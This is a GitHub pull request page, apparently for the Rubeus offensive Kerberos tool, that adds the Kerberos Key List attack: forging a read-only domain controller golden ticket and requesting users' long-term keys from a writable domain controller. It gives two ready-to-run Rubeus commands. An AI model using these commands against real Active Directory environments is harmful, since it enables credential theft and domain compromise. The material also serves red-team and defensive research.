Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kerberos Key-List-Request and Replies #147

Merged
merged 5 commits into from
Feb 3, 2023
Merged

Kerberos Key-List-Request and Replies #147

merged 5 commits into from
Feb 3, 2023

Conversation

JoeDibley
Copy link
Contributor

Implemented code to complete the Kerberos Key List attack. This attack is completed by forging RODC (or AzureADSync RODC) TGTs and then requesting the long term key from a writable domain controller.

Example usage:
Step 1 - Create TGT
Generate Golden Ticket using KRBTGT_11442 account (rodcNumber + aes256 hash) to get the partial TGT for UserAllow with rid of 4234 in domain.local

.\Rubeus.exe golden /rodcNumber:11442  /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:Ticket.kirbi /aes256:1815C6750A6340A2326AE63FA10CE5DD3FCB4AE921A5662622543412D97D6E5A /user:UserAllow /id:4234 /domain:domain.local /sid:S-1-5-21-2085466279-113730185-1406233153

Step 2 - Create and send TGS request to DC
Now we have our forged TGT (ticket.kirbi), we use asktgs to send a keyList request to a writable domain controller for krbtgt service.

.\Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:Ticket.kirbi /service:krbtgt/domain.local 

Screenshots
image

image

References:

Keylist attack involes personating a RODC and requesting a key (password hash) for a user.
@JoeDibley JoeDibley marked this pull request as ready for review December 13, 2022 11:20
@0xe7
Copy link
Contributor

0xe7 commented Jan 27, 2023

Great work, I was waiting for @eladshamir's post (https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06) to include the code I'd written for this but you beat us to it. Did you add the documentation to the README and Info.cs?

Updated the Info.cs and README.md to include new KeyList Request options
@JoeDibley
Copy link
Contributor Author

Thanks! I have updated the README and info.cs now

@0xe7 0xe7 merged commit f6685f4 into GhostPack:master Feb 3, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants